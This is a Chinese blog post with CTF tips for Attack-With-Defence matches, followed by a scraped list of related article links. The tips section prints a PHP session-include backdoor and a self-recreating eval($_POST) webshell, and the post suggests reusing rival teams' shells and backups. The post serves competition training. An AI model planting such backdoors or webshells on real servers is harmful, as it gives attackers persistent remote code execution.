CTF线下赛AWD模式下的生存技巧

作者:Veneno@Nu1L
稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
原文:https://www.anquanke.com/post/id/84675
Hello,大家好,我是Nu1L战队队长Veneno,通过这篇文章说一下关于CTF线下赛的AWD模式(当然也有一些比赛是沙盒模式),以及身为一只Web狗的你如何在各位大佬们的手下存活:)可能没有技术干货,大家勿喷:)
1-何为AWD
Attack With Defence,简而言之就是你既是一个hacker,又是一个manager。
比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮,各队一般都有自己的初始分数,flag被拿会被拿走flag的队伍均分,主办方会对每个队伍的服务进行check,check不过就扣分,扣除的分值由服务check正常的队伍均分。
2-AWD之出题人
在这里暂且冒充下出题人QAQ
0x01:题目类型
1-出题人自己写的cms,为了恶心然后加个so。
2-常见或者不常见的cms。
3-一些框架漏洞,比如ph师傅挖的CI这种
0x02:代码类型
目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。
0x03:题目漏洞类型
1-sqli居多
2-文件包含
3-各种rce
4-文件上传
0x04:出题人思路
为了不让你们这群赛棍把题秒了,我直接放个未公开cms的0day把,算了,要不我自己加点东西。诶,等等,这样是不是有点难了,再放几个比较简单的洞把,直接在index.php或者web根目录下放个shell?
3-如何攻击
相信平日大家都做过渗透测试之类的,而AWD模式的比赛其实跟日常的渗透测试有共同之处。
0x01:如何拿flag
一般来说就是以下两种模式:
1-是向内网一台机器发送http请求,返回请求中包含flag。
2-是例如/home目录下放置flag文件。
0x02:一个web狗需要具备的一些东西
大致有以下几点:
1-快速的漏洞反应能力。
因为有的时候,一些比赛放的漏洞都是网上能查到的,所以这个时候需要一个好的搜索技巧。或者是一些rce显而易见的那种。
2-快速编写脚本的能力。
因为大家的服务都是一样的,而你如果能通过比如注入的方式拿到flag,如果用hackbar一个个去弄,显然不够优雅,而且有时候特别会容易遗漏,那么这个时候写个小py无疑是极好的。
3-一个好的心态
毕竟跟你同场竞技的都是各位大佬,所以当你发现自己被打的时候,心态不要崩,一旦崩了就基本宣布gg了。
0x03:当我们处于优势地位时
除非处于那种绝对优势的时候,我们可以什么都不在乎。
当我们处于一个微弱优势时,这个时候我们需要一个比较腹黑的思想,比如说,A队与B队只差了可能几百的分数,而A队这个时候有B队的webshell,那么如何把B队拖下水,相信大家都懂。
0x04:当我们处于劣势地位时
首先还是那句话,心态不要崩。
其次因为web比较容易抓取流量,所以即使我们被打,我们也可以及时通过分析流量去查看别的队伍的payload,从而进行反打。
如果自己的服务器上被种了shell,删除是肯定的,但是要这样想,如果给你种了shell,那么这种一般是自动化脚本打的,就意味着别的队伍也可能被种,路径密码什么的都一样。
4-如何防守
其实防守更多看的是谁比较细心。
0x01:比赛开始的时候
比赛开始时,当我们连上ssh的时候,我们首先应该做的是把源码down下来,及时做好备份。
然后在尽量不违反主办方check的原则下挂上自己的waf。
一般来说,主办方可能会隔一段时间提供前一时段的流量,也可能不会,所以这个时候需要我们自己去抓流量。
0x02:然后的工作
当然是审计,审计,再审计。
0x03:当发现被打时
当发现自己被打时,首先尝试还原以前的备份(记得备份当前),如果依然被打,这个时候应该跟队友分好工,查看抓取的流量以及查看服务器上是不是存在shell。
5-一些小tips
分享几个小例子以及自己的思路。
0x01:如果自己拿到了FB
当自己拿到fb的时候,一定要淡定,淡定,淡定。首先,我们测试的对象应该是NPC(或者本地),而不是其他队伍选手的服务,因为你怎么知道人家没有流量,经常会出现,有的队伍拿到了fb,结果不是拿的npc的,自己的payload又被别的队伍拿到,而碰巧拿到的队伍,重放能力特别强,就会出现一个尴尬的局面,明明你拿的fb,结果人家打的比你还凶。
所以,当拿到fb的时候,写打全场的exp之前,可以先打n多的混淆流量。
0x02:特别熟悉的cms
作为一只web狗,如果看到wordpress,那么第一个反应肯定是上wpscan。但是线下赛时候有的出题人放了一个最新版本的wp,甚至插件也没有什么漏洞,举两个自己打比赛的时候碰见过的例子:
1-主办方放了一个wp,然后每个队伍都有config备份文件以及phpmyadmin。这种情况下,最机智的方法,是靠你多年手速,迅速下载其他队伍备份文件,然后登陆phpmyadmin后,拿别的队伍的shell最机智的方法不是去利用phpmyadmin写shell,万一没权限不就白白耽误时间了。
2-同样是最新版的wp,也没有安装插件,但是主办方在一个比较深的目录里放了一个任意文件上传,绕过上传的方式也比较简单。
0x03:一些比较有意思的backdoor
比如下面这个,有兴趣的话可以自己本地测试下:
<?php
session_start();
extract($_GET);
if(preg_match('/[0-9]/',$_SESSION['PHPSESSID']))
exit;
if(preg_match('//|./',$_SESSION['PHPSESSID']))
exit;
include(ini_get("session.save_path")."/sess_".$_SESSION['PHPSESSID']);
?>
0x04:一些有趣shell
在github上有关于phpwebshell的一个项目,有兴趣的同学可以搜一下。当然也有python的一些shell。在这里举一个最简单的例子:
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = "veneno.php";
$shell = "<?php eval($_POST[venenohi]);?>";
while (TRUE) {
if (!file_exists($file)) {
file_put_contents($file, $shell);
}
usleep(50);
}
?>
6-Ending
参加了那么多线下赛以来,个人感觉还是需要提高自己的代码审计能力以及自动化脚本的编写能力,同时也会提醒自己在什么方面有短板。
大体就说什么多,因为可能是个经验帖,所以并没有太多代码,师傅们勿喷,如果有什么问题可以加我微信(FHcherish)一起交流:)
CTF线下赛AWD模式下的生存技巧的更多相关文章
- CTF线下赛AWD套路小结
近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...
- 某线下赛AWD
拿别人比赛的来玩一下,或许这就是菜的力量吧. 0x01 任意文件读取: switch ($row['media_type']) { case 0: // 图片广告 ...... break; case ...
- 某团队线下赛AWD writeup&Beescms_V4.0代码审计
还是跟上篇一样.拿别人比赛的来玩一下. 0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...
- Vmware下CentOs7 桥接模式下配置固定IP
1.安装完CentOS7后 修改虚拟机网络适配器配置:改成桥接模式 2.设置Vmware的 编辑->虚拟网络编辑器 3.重启CentOs7 , 查看网络 # ip addr interface是 ...
- Linux下rsync daemon模式下的错误汇总
一.前言:最近学习服务环境搭建,遇到了许多大大小小的问题,不过还好,经过我的一通努力终于都解决了,所以分享出来给自己留个纪念,同时也希望能帮助学习中的朋友. 二.环境:两台服务器环境相同 1 [roo ...
- 在windows下的CLI模式下如何运行php文件
https://blog.csdn.net/evkj2013/article/details/52313728 https://jingyan.baidu.com/article/da1091fb09 ...
- ASP.NET Web API 框架研究 Web Host模式下的消息处理管道
寄宿的作用是开启一个进程为Web API提供一个运行环境以解决持续监听.请求监听和响应回复,即将接收到的请求转换成HttpRequestMessage对象传入管道,并将管道生成并经过处理后的HttpR ...
- 问题三:Appium 的 UIAutomator2 模式下使用 sendKeys 出现错误
在Appium默认的模式下,可以对TextFiled控件进行sendKeys操作: 设置capabilities.setCapability("automationName",&q ...
- CTF线下awd攻防文件监控脚本
CTF线下awd攻防赛中常用一个文件监控脚本来保护文件,但是就博主对于该脚本的审计分析 发现如下的问题: 1.记录文件的路径未修改导致log暴露原文件备份文件夹:drops_JWI96TY7ZKNMQ ...
随机推荐
- mysql突然无法启动的问题
经常会有这样一个情况是:mysql跑了一段时间后,某一天我们需要重启服务的时候,发现停止后并不能正常启动,会报下面这种错误 这种情况发生的原因绝大多数都是权限的问题: 因为使用了一段时间后,使用期间表 ...
- opencv 和 parfor
一次遇到两个不熟悉的,因此在一起记一下. OpenCV的全称是:Open Source Computer Vision Library. OpenCv是一个基于(开源)发行的跨平台计算机视觉库,可以运 ...
- C语言指针【转】
一.C语言指针的概念 在计算机中,所有的数据都是存放在存储器中的.一般把存储器中的一个字节称为一个内存单元,不同的数据类型所占用的内存单元数不等,如整型量占2个单元,字符量占1个单元等,在前面已有详细 ...
- C++除法运算 // 静态断言
1.C++中"/"运算:对两个整数做除法,结果仍为整数,如果它的商包含小数部分,则小树部分会被截除. C++ Primer 第五章 P130 2.静态断言(static_asser ...
- arc076 F - Exhausted? (霍尔定理学习)
题目链接 Problem Statement There are M chairs arranged in a line. The coordinate of the i-th chair ($$$1 ...
- HTTPS证书生成方法,也适用于APP
步骤: 一.登录服务器,创建ioscert目录 cd ~/servers/APP mkdir ioscert 二.cd到ioscert目录下,执行以下命令: 1.openssl genrsa -out ...
- 洛谷 P1841 [JSOI2007]重要的城市 解题报告
P1841 [JSOI2007]重要的城市 题目描述 参加jsoi冬令营的同学最近发现,由于南航校内修路截断了原来通向计算中心的路,导致去的路程比原先增加了近一公里.而食堂门前施工虽然也截断了原来通向 ...
- LibreOJ #6190. 序列查询(线段树+剪枝)
莫队貌似是过不了的,这题是我没见过的科技... 首先区间按右端点排序,然后一个扫描线,扫到某个区间右端点时候计算答案,线段树上节点的信息并不需要明确定义,我们只要求线段树做到当前扫到now时,查询[L ...
- MyBatis子查询
一.父查询BaseChildResultMap: <?xml version="1.0" encoding="UTF-8" ?> <!DOCT ...
- Codeforces Round #345 (Div. 2) A
A. Joysticks time limit per test 1 second memory limit per test 256 megabytes input standard input o ...